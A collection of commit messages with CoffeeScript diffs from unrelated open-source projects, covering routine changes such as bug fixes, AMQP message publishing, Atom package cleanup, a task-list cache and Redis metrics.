       addedTimestamps = (change.timestamp for change in @changes when change.added)
       removedTimestamps = (change.timestamp for change in @changes when change.removed)


adding a test for length of list and a couple of variations of other tests


Change default license message

Change default license message

--- src/loadinfo.coffee
+++ src/loadinfo.coffee
@@ -79,7 +79,7 @@
   if info.license != ''
     license = "Released under the #{info.license}"
   else
-    license = 'Contact author for licensing information'
+    license = 'All rights reserved'

   # Source header comment for browser bundles.
   info.headerComment = """


Fix bug

Fix bug

--- src/util.coffee
+++ src/util.coffee
@@ -8,7 +8,7 @@

   isDirectory: (dir) ->
     switch
-      when isType(dir, 'Directory') or isType(dir, 'File')
+      when Util.isType(dir, 'Directory') or Util.isType(dir, 'File')
         return Util.isDirectory(dir.getPath())
       when typeof dir is 'string'
         return ((try fs.statSync(dir).isDirectory()) ? false)
@@ -43,7 +43,7 @@
       switch
         when bufferOrFileOrString.file?
           bufferOrFileOrString.file
-        when isType(bufferOrFileOrString, 'File') or isType(bufferOrFileOrString, 'Directory')
+        when Util.isType(bufferOrFileOrString, 'File') or Util.isType(bufferOrFileOrString, 'Directory')
           bufferOrFileOrString
         when typeof bufferOrFileOrString is 'string'
           new File(bufferOrFileOrString)


adding ability to edit email address connected to credit card

--- src/lib/credit_card.js.coffee
+++ src/lib/credit_card.js.coffee
@@ -62,7 +62,7 @@
       company: company

-  submitToStripe: (callback) ->
+  submitToStripe: (callback, newEmail) ->
     Stripe.card.createToken
       number:     @number
       cvc:        @cvc
@@ -74,7 +74,7 @@
         this._setIfNotNull "expirationYear",  response.card.exp_year
         this._setIfNotNull "lastFour",        response.card.last4
         this._setIfNotNull "stripeToken",     response.id
-        this._setIfNotNull "email",           Firehose.Agent.loggedInAgent.email
+        this._setIfNotNull "email",           if newEmail? then newEmail else Firehose.Agent.loggedInAgent.email
         callback()
       else
         callback response.error


Make publishing work. Fix encoding/decoding

--- src/vent.coffee
+++ src/vent.coffee
@@ -75,18 +75,24 @@
             options = {}

         event_options = @_parse_event(event)
-        pub_options = _.extend({}, @options, event_options, options)
-
-        _cb = (errors) ->
-            return unless cb
-            if errors then cb(new Error('message publish fail')) else cb()
-
-        logger.trace("publish message", {@options, pub_options, payload})
-        @_when_exchange(pub_options)
-            .then (exchange) ->
-                exchange.publish(pub_options.topic, payload, {}, _cb)
-
-            .fail cb
+        options = _.extend({}, @options, event_options, options)
+
+        @_get_publishing_channel()
+            .then(@_assert_exchange.bind(@, options))
+            .done((channel) =>
+                {content, properties} = @_encode_message(payload)
+                message_options = _.chain(options)
+                    .pick('mandatory', 'persistent', 'deliveryMode', 'expiration', 'CC')
+                    .extend(properties)
+                    .value()
+                if not channel.publish(options.channel, options.topic, content, message_options) and cb?
+                    logger.debug('Overloaded')
+                    return channel.once('drain', cb)
+                cb?()
+            , (err) ->
+                logger.error({err}, 'Error when trying to open publishing channel')
+                cb(err) if cb?
+            )
         @

     subscribe: (event, options, listener) ->
@@ -118,7 +124,7 @@
         options.group ?= uuid.v4()

         @_create_subscription_channel(options, listener)
-            .then(() ->
+            .done(() ->
                 logger.info('Subscription created', {options})
             , (err) ->
                 logger.error({err}, 'Error when opening new subscription', {options})
@@ -165,9 +171,9 @@
         @subscribe(event, _.extend({}, options, ack: true), stream.push_message)
         stream

-
-
-    # TODO: add vent close method implementation
+    close: =>
+        # TODO: add vent close method implementation
+        logger.warn('Closing vent is not implemented yet!')

     #
     # Connection and channel handling
@@ -190,14 +196,13 @@
         It is subject to _.memoize, so it will be called only once per connection
         ###
         url = @_get_connection_url()
-        logger.debug("Opening new vent connection", {url, @options})
         amqp.connect(url).then (conn) =>
-            logger.debug('amqp connection created', {conn})
+            logger.debug('Created new amqp connection', {conn})
             conn.on 'error', (err) ->
-                    logger.error("Connection error", {err, url})
+                    logger.error({err}, "Connection error", {url})
                     @emit('error', err)
                     process.exit(1)
-                    #@_reset_connection()
+                    @_reset_connection()
                 .on 'close', ->
                     logger.info('Connection closed', {url})
                     if not @_connect.has()
@@ -218,28 +223,39 @@

     _reset_connection: ->
         logger.debug('connection reset')
-        #@_connect = _.memoize(@_open_connection)
-        @_connect = @_open_connection
+        @_connect = _.memoize(@_open_connection)
         @_subscriptions = []
+        @_pub_channels = null
+        @_confirmed_exchanges = {}

     _create_channel: ->
         @_connect().then (conn) ->
             conn.createChannel()
+
+    _create_publishing_channels: ->
+        @_create_channel().then (channel) =>
+            @_publishing_channels = [channel]
+
+    _get_publishing_channel: ->
+        when_(@_publishing_channels or @_create_publishing_channels()).then (chs) ->
+            idx = 0
+            if chs.length > 1
+                idx = Math.floor(Math.random() * chs.length)
+            return chs[idx]

     _create_subscription_channel: (options, listener) ->
         @_create_channel().then (ch) =>
             queue_name = @_generate_queue_name(options)
             queue_options = @_generate_queue_options(options)
             exch_name = queue_binding_source = options.channel
-            exch_options = @_generate_exchange_options(options)
             topic = options.topic
             consumer = @_wrap_consumer_callback(listener, ch, options)
             consumer_options = @_generate_consumer_options(options)

-            logger.debug('setting up queue', {queue_name, queue_options, exch_name, exch_options, topic})
+            logger.debug('setting up queue', {queue_name, queue_options, exch_name, topic})
             steps = [
                 ch.assertQueue(queue_name, queue_options)
-                ch.assertExchange(exch_name, 'topic', exch_options)
+                @_assert_exchange(options, ch)
             ]

             if options.partition?
@@ -247,7 +263,7 @@
                 partition_exch_options =
                     autoDelete: if options.autoDelete? then options.autoDelete else true
                 steps.concat([
-                    ch.assertExchange(partition_exch_name, 'x-consistent-hash')
+                    ch.assertExchange(partition_exch_name, 'x-consistent-hash', partition_exch_options)
                     ch.bindExchange(partition_exch_name, exch_options, topic)
                 ])
                 topic = '10' # for x-consistent hash echange topic is a weight
@@ -263,6 +279,9 @@
             p = when_.all(steps)
             logger.debug('Preapred promise: ', {p})
             p
+
+    # Different actions options parsing
+    # ---------------------------------

     _parse_event: (event) ->
         assert _.isString(event), "event string required"
@@ -320,9 +339,38 @@
     _generate_consumer_options: (options) ->
         noAck: not options.ack

+    # Channel utilities
+    # -----------------
+
+    _assert_exchange: (options, channel) ->
+        exch_name = options.channel
+        exch_options = @_generate_exchange_options(options)
+        if @_confirmed_exchanges[exch_name]
+            return when_(channel)
+
+        channel.assertExchange(exch_name, 'topic', exch_options).then =>
+            @_confirmed_exchanges[exch_name] = 1
+            channel
+
+    # Message encoding
+    # ----------------
+
+    _encode_message: (payload) ->
+        content = null
+        if typeof payload is 'string'
+            content = payload
+            content_type = 'text/plain'
+        else
+            content = JSON.stringify(payload)
+            content_type = 'application/json'
+        content = new Buffer(content)
+        {content, properties:
+            contentType: content_type
+        }
+
     _decode_message: (msg) =>
         content = msg.content
-        content_type = msg.content_type
+        content_type = msg.properties.contentType
         switch content_type
             when 'application/json'
                 try
@@ -339,6 +387,9 @@
                 throw new Error("Do not know how to hange message type: " + content_type)
         content

+    # Message callbacks
+    # -----------------
+
     _wrap_consumer_callback: (fn, channel, options) ->
         """ Wrapper for unpacking message content """
         decode = @_decode_message


Removed un-needed code

Removed un-needed code

--- lib/provider.coffee
+++ lib/provider.coffee
@@ -171,7 +171,7 @@
   prettifyTitle: (title) ->
     return if not title
     title = titlecaps(title)
-    return title # NOTE test
+    return title

   cleanAuthors: (authors) ->
     return [{ familyName: 'Unknown' }] if not authors?
@@ -188,5 +188,3 @@

   prettifyName: (person, separator = ' ') ->
       (if person.familyName? then person.familyName else '')
-      #(if person.personalName? then person.personalName else '') + \
-      #(if person.personalName? and person.familyName? then separator else '') + \


change from 0000 to localhost

change from 0000 to localhost

--- angular/test/protractor.coffee
+++ angular/test/protractor.coffee
@@ -2,7 +2,7 @@

 exports.config =
   # seleniumServerJar: '../node_modules/webdriver-manager/selenium/selenium-server-standalone-3.3.0.jar'
-  seleniumAddress: 'http://0.0.0.0:4444/wd/hub'
+  seleniumAddress: 'http://localhost:4444/wd/hub'
   allScriptsTimeout: 20000
   # directConnect: true
   # seleniumAddress: 'http://localhost:4444/wd/hub'


Avoid throwing an error when deactivating package

Hopefully, this should:

    … fix hax/refactor#23
    … fix hax/js-refactor#18
    … fix hax/js-refactor#16

--- lib/refactor.coffee
+++ lib/refactor.coffee
@@ -1,13 +1,11 @@
 Watcher = require './watcher'
 ModuleManager = require './module_manager'
+{ CompositeDisposable } = require 'atom'
 { packages: packageManager } = atom
 d = (require 'debug/browser') 'refactor'

 module.exports =
 new class Main
-
-  renameCommand: 'refactor:rename'
-  doneCommand: 'refactor:done'

   config:
     highlightError:
@@ -25,11 +23,12 @@
   activate: (state) ->
     d 'activate'
     @moduleManager = new ModuleManager
+    @disposables = new CompositeDisposable
     @watchers = []

-    atom.workspace.observeTextEditors @onCreated
-    atom.commands.add 'atom-text-editor', @renameCommand, @onRename
-    atom.commands.add 'atom-text-editor', @doneCommand, @onDone
+    @disposables.add atom.workspace.observeTextEditors @onCreated
+    @disposables.add atom.commands.add 'atom-text-editor', 'refactor:rename', @onRename
+    @disposables.add atom.commands.add 'atom-text-editor', 'refactor:done', @onDone

   deactivate: ->
     @moduleManager.destruct()
@@ -38,8 +37,8 @@
       watcher.destruct()
     delete @watchers

-    atom.workspaceView.off @renameCommand, @onRename
-    atom.workspaceView.off @doneCommand, @onDone
+    @disposables.dispose()
+    @disposables = null

   serialize: ->


Add IDE version to terminal websocket url

--- lib/terminal.coffee
+++ lib/terminal.coffee
@@ -42,7 +42,7 @@

   url: ->
     protocol = if @port == 443 then 'wss' else 'ws'
-    "#{protocol}://#{@host}:#{@port}/#{@path}?token=#{@token}"
+    "#{protocol}://#{@host}:#{@port}/#{@path}?token=#{@token}&version=#{LEARN_IDE_VERSION}"

   reset: ->
     console.log('term:reset')


add disclaimer to the install script

add disclaimer to the install script

--- src/wrap.coffee
+++ src/wrap.coffee
@@ -88,6 +88,7 @@
             @installscript = yes
             src = [
                 "#!/bin/sh"
+                "# auto generated file by https://github.com/dodo/node-tarballify"
                 "cwd=`pwd`"
                 "# find where this file really is by dereferencing the symlink(s)."
                 "this=$0"


fixed NPE

fixed NPE

--- lib/assets/javascripts/stark/stark.js.coffee
+++ lib/assets/javascripts/stark/stark.js.coffee
@@ -118,6 +118,7 @@
   # @param [State] state
   # @param [View] view
   copy_data_from_state: (state, view) ->
+    return if not state.models?
     _.each _.keys(state.models), (key) ->
       view.set key, state[key]


Internal up.extract options beforeSwap/afterSwap can now return a promise that will delay subsequent logic

--- lib/assets/javascripts/unpoly/flow.js.coffee
+++ lib/assets/javascripts/unpoly/flow.js.coffee
@@ -311,21 +311,23 @@

       up.layout.saveScroll() unless options.saveScroll == false

-      options.beforeSwap?()
-      deferreds = []
-
-      updateHistory(options)
-
-      for step in parseImplantSteps(selector, options)
-        up.log.group 'Updating %s', step.selector, ->
-          $old = findOldFragment(step.selector, options)
-          $new = response.find(step.selector)?.first()
-          if $old && $new
-            deferred = swapElements($old, $new, step.pseudoClass, step.transition, options)
-            deferreds.push(deferred)
-
-      options.afterSwap?()
-      up.motion.when(deferreds...)
+      promise = u.resolvedPromise()
+      promise = promise.then(options.beforeSwap) if options.beforeSwap
+      promise = promise.then -> updateHistory(options)
+      promise = promise.then ->
+        swapPromises = []
+        for step in parseImplantSteps(selector, options)
+          up.log.group 'Updating %s', step.selector, ->
+            $old = findOldFragment(step.selector, options)
+            $new = response.find(step.selector)?.first()
+            if $old && $new
+              swapPromise = swapElements($old, $new, step.pseudoClass, step.transition, options)
+              swapPromises.push(swapPromise)
+        # Delay all further links in the promise chain until all fragments have been swapped
+        return $.when(swapPromises...)
+      promise = promise.then(options.afterSwap) if options.afterSwap
+      promise
+

   findOldFragment = (selector, options) ->
     # Prefer to replace fragments in an open popup or modal


Fix #243

Fix #243

--- menus/git-plus.cson
+++ menus/git-plus.cson
@@ -1,6 +1,6 @@
 # See https://atom.io/docs/latest/creating-a-package#menus for more details
 'context-menu':
-  'atom-text-editor': [
+  'atom-text-editor:not(.mini)': [
     {
       'label': 'Git add file',
       'command': 'git-plus:add'


Added: in-memory basic cache for sublist of tasks

--- client/src/stores/TaskStore.coffee
+++ client/src/stores/TaskStore.coffee
@@ -33,6 +33,7 @@
     _tasks = window.tasks
     _searchQuery = null
     _isReindexing = false
+    _cache = {}

     # TODO: retrieve the tasks sorted server-side
     _archivedTasks.sort (a, b) ->
@@ -71,6 +72,19 @@

         return {tasksList, tasksListByCid}

+    # invalid all cached lists if they contain the task
+    _invalidCache = (task) ->
+        tags = task.tags
+        cacheKeys = Object.keys _cache
+        for cacheKey in cacheKeys
+            i = 0
+            while i < tags.length and cacheKey.indexOf(tags[i]) is -1
+                i++
+
+            # invalidate the cache if the task is in it
+            if cacheKey.indexOf(tags[i]) isnt -1
+                delete _cache[cacheKey]
+
     __bindHandlers: (handle) ->
         handle ActionTypes.CREATE_TASK, (payload) ->
             {nextIndex, rawTask} = payload
@@ -81,6 +95,9 @@
             # adds the task to the cid index
             _tasksByCid[rawTask.cid] = rawTask

+            # invalid cache
+            _invalidCache rawTask
+
             @emit 'change'

         handle ActionTypes.REMOVE_TASK, (task) ->
@@ -91,6 +108,9 @@

             # removes task from cid index
             delete tasksListByCid[task.cid]
+
+            # invalid cache
+            _invalidCache task

             @emit 'change'

@@ -99,8 +119,15 @@
             {cid, changes} = payload
             task = tasksListByCid[cid]

+            # invalid cache
+            _invalidCache task
+
             for field, value of changes
                 task[field] = value
+
+            # invalid cache if the tags have changed
+            if changes.tags?
+                _invalidCache task

             @emit 'change'

@@ -114,6 +141,9 @@
             # No need to sort the list, just insert at the right spot
             tasksList.splice oldIndex, 1
             tasksList.splice index, 0, task
+
+            # invalid cache
+            _invalidCache task

             @emit 'change'

@@ -142,6 +172,9 @@
                 index = _.sortedIndex _archivedTasks, task, (task) -> -(new Date(task.completionDate).getTime())
                 _archivedTasks.splice index, 0, task

+                # invalid cache
+                _invalidCache task
+
                 @emit 'change'

         handle ActionTypes.RESTORE_TASK, (cid) ->
@@ -162,6 +195,9 @@
                 index = _.sortedIndex _tasks, task, (task) -> task.order
                 _tasks.splice index, 0, task

+                # invalid cache
+                _invalidCache task
+
                 @emit 'change'

         handle ActionTypes.SET_REINDEX_STATE, (isReindexing) ->
@@ -177,7 +213,6 @@
         return tasksList.filter (task) -> task.tags.length is 0

     getByTags: (tags) ->
-
         {tasksList} = _getTaskLists()

         # returns all unselected tags if the tag filter is empty
@@ -199,11 +234,42 @@
                     .filter (tag) -> tag.isExcluded
                     .map mapValue

-                # When there are no included tags, it means all tasks should
-                # be selected.
-                filteredTasksList = filteredTasksList.filter (task) ->
-                    return (TaskUtils.containsTags(task, includedTags) or noInclusion) and \
-                           TaskUtils.doesntContainsTags(task, excludedTags)
+                # the cache key is a unique hash based on tag selection
+                cacheKey = [].concat tags # clone the tags
+
+                    # sort the tag list so the cache is stable. I.e. cache is
+                    # the same for tag1/tag2 and tag2/tag1
+                    .sort (a, b) ->
+                        if a.label > b.label
+                            return 1
+                        else if a.label > b.label
+                            return -1
+                        else
+                            return 0
+
+                    # lists are different if they have the same tags but some
+                    # of them are included and others are excluded
+                    .map (tag) ->
+                        prefix = if tag.isExcluded then '!' else ''
+                        return "#{prefix}#{tag.label}"
+
+                    # '#' is the safest separator because it's used to mark the
+                    # beginning of a tag
+                    .join '#'
+
+                cachedList = _cache[cacheKey]
+                if cachedList?
+                    filteredTasksList = cachedList
+                else
+                    # When there are no included tags, it means all tasks should
+                    # be selected.
+                    filteredTasksList = filteredTasksList.filter (task) ->
+                        return (TaskUtils.containsTags(task, includedTags) or \
+                               noInclusion) and \
+                               TaskUtils.doesntContainsTags(task, excludedTags)
+
+                    # add in cache
+                    _cache[cacheKey] = filteredTasksList

             if _searchQuery?
                 regex = new RegExp _searchQuery, 'i'


add metrics for queue operations

add metrics for queue operations

--- app/coffee/RedisManager.coffee
+++ app/coffee/RedisManager.coffee
@@ -259,9 +259,11 @@
 					# expire must come after rpush since before it will be a no-op if the list is empty
 					multi.expire keys.docOps(doc_id: doc_id), RedisManager.DOC_OPS_TTL           # index 6
 					if projectHistoryType is "project-history"
-						logger.debug {doc_id}, "skipping push of uncompressed ops for project using project-history"
+						metrics.inc 'history-queue', 1, {status: 'skip-track-changes'}
+						logger.log {doc_id}, "skipping push of uncompressed ops for project using project-history"
 					else
 						# project is using old track-changes history service
+						metrics.inc 'history-queue', 1, {status: 'track-changes'}
 						multi.rpush  historyKeys.uncompressedHistoryOps(doc_id: doc_id), jsonOps...  # index 7
 					# Set the unflushed timestamp to the current time if the doc
 					# hasn't been modified before (the content in mongo has been
@@ -282,6 +284,7 @@
 							docUpdateCount = result[7] # length of uncompressedHistoryOps queue (index 7)

 						if jsonOps.length > 0 && Settings.apis?.project_history?.enabled
+							metrics.inc 'history-queue', 1, {status: 'project-history'}
 							ProjectHistoryRedisManager.queueOps project_id, jsonOps..., (error, projectUpdateCount) ->
 								callback null, docUpdateCount, projectUpdateCount
 						else


Keep RootView unrenamed for now

Keep RootView unrenamed for now

--- exports/atom-api.coffee
+++ exports/atom-api.coffee
@@ -8,4 +8,4 @@
   File: require '../src/file'
   fs: require '../src/fs-utils'
   View: View
-  WorkspaceView: require '../src/root-view'
+  RootView: require '../src/root-view'


Popups no longer have a close button

Popups no longer have a close button

--- lib/assets/javascripts/unpoly/classes/layer/popup.coffee
+++ lib/assets/javascripts/unpoly/classes/layer/popup.coffee
@@ -4,3 +4,8 @@
 class up.Layer.Popup extends up.Layer.OverlayWithTether

   @mode: 'popup'
+
+  constructor: (options) ->
+    super(options)
+    @buttonDismissable = false
+


attempt to migrate more code

attempt to migrate more code

--- lms/static/coffee/src/backbone_discussion/content.coffee
+++ lms/static/coffee/src/backbone_discussion/content.coffee
@@ -69,10 +69,38 @@
         commentView = new CommentView el: elem, model: model

   hideSingleThread: ->
+    $threadTitle = @$(".thread-title")
+    $hideComments = @$(".discussion-hide-comments")
+    $hideComments.removeClass("discussion-hide-comments")
+                 .addClass("discussion-show-comments")
+    @$el.children(".comments").hide()
+    $threadTitle.unbind('click').click @showSingleThread
+    $hideComments.unbind('click').click @showSingleThread
+    prevHtml = $hideComments.html()
+    $hideComments.html prevHtml.replace "Hide", "Show"

   reply: ->
+    $replyView = @$(".discussion-reply-new")
+    if $replyView.length
+      $replyView.show()
+    else
+      thread_id = if @model.get('type') == "comment" then @model.get('thread_id') else @model.id
+      view =
+        id: @model.id
+        showWatchCheckbox: not DiscussionUtil.isSubscribed(thread_id, "thread")
+      @$discussionContent.append Mustache.render DiscussionUtil.replyTemplate, view
+      DiscussionUtil.makeWmdEditor @$el, @$local, "reply-body"
+      @$(".discussion-submit-post").click @submitReply
+      @$(".discussion-cancel-post").click @cancelReply
+    @$(".discussion-reply").hide()
+    @$(".discussion-edit").hide()

   cancelReply: ->
+    $replyView = @$(".discussion-reply-new")
+    if $replyView.length
+      $replyView.hide()
+    @$(".discussion-reply").show()
+    @$(".discussion-edit").show()

   unvote: (event) ->
     url = DiscussionUtil.urlFor("undo_vote_for_#{@model.get('type')}", @model.id)
@@ -104,13 +132,105 @@
             @$(".discussion-vote-#{value}").addClass("voted")
             @$(".discussion-votes-point").html response.votes.point

-  endorse: ->
-
-  close: ->
+  endorse: (event) ->
+    url = DiscussionUtil.urlFor('endorse_comment', id)
+    endorsed = not @model.get('endorsed')
+    Discussion.safeAjax
+      $elem: $(event.target)
+      url: url
+      type: "POST"
+      dataType: "json"
+      data: {endorsed: endorsed}
+      success: (response, textStatus) ->
+        if textStatus == "success"
+          if endorsed
+            @$el.addClass("endorsed")
+          else
+            @$el.removeClass("endorsed")
+
+  close: (event) ->
+    url = DiscussionUtil.urlFor('openclose_thread', @model.id)
+    closed = undefined
+    text = $(event.target).text()
+    if text.match(/Close/)
+      closed = true
+    else if text.match(/[Oo]pen/)
+      closed = false
+    else
+      console.log "Unexpected text " + text + "for open/close thread."
+    Discussion.safeAjax
+      $elem: $(event.target)
+      url: url
+      type: "POST"
+      dataType: "json"
+      data: {closed: closed}
+      success: (response, textStatus) =>
+        if textStatus == "success"
+          if closed
+            @$el.addClass("closed")
+            $(event.target).text "Re-open Thread"
+          else
+            @$el.removeClass("closed")
+            $(event.target).text "Close Thread"
+      error: (response, textStatus, e) ->
+        console.log e

   edit: ->
-
+    $local(".discussion-content-wrapper").hide()
+    $editView = $local(".discussion-content-edit")
+    if $editView.length
+      $editView.show()
+    else
+      view = {
+        id: id
+        title: $local(".thread-raw-title").html()
+        body: $local(".thread-raw-body").html()
+        tags: $local(".thread-raw-tags").html()
+      }
+      $discussionContent.append Mustache.render Discussion.editThreadTemplate, view
+      Discussion.makeWmdEditor $content, $local, "thread-body-edit"
+      $local(".thread-tags-edit").tagsInput Discussion.tagsInputOptions()
+      $local(".discussion-submit-update").unbind("click").click -> handleSubmitEditThread(this)
+      $local(".discussion-cancel-update").unbind("click").click -> handleCancelEdit(this)
+
+    handleSubmitEditThread = (elem) ->
+      url = Discussion.urlFor('update_thread', id)
+      title = $local(".thread-title-edit").val()
+      body = Discussion.getWmdContent $content, $local, "thread-body-edit"
+      tags = $local(".thread-tags-edit").val()
+      Discussion.safeAjax
+        $elem: $(elem)
+        url: url
+        type: "POST"
+        dataType: 'json'
+        data: {title: title, body: body, tags: tags},
+        error: Discussion.formErrorHandler($local(".discussion-update-errors"))
+        success: (response, textStatus) ->
+          Discussion.clearFormErrors($local(".discussion-update-errors"))
+          $discussionContent.replaceWith(response.html)
+          Discussion.extendContentInfo response.content['id'], response['annotated_content_info']
+          Discussion.initializeContent($content)
+          Discussion.bindContentEvents($content)
   delete: ->
+    if $content.hasClass("thread")
+      url = Discussion.urlFor('delete_thread', id)
+      c = confirm "Are you sure to delete thread \"" + $content.find("a.thread-title").text() + "\"?"
+    else
+      url = Discussion.urlFor('delete_comment', id)
+      c = confirm "Are you sure to delete this comment? "
+    if c != true
+      return
+    Discussion.safeAjax
+      $elem: $(elem)
+      url: url
+      type: "POST"
+      dataType: "json"
+      data: {}
+      success: (response, textStatus) =>
+        if textStatus == "success"
+          $(content).remove()
+      error: (response, textStatus, e) ->
+        console.log e

   events:
     "click .thread-title": "showSingleThread"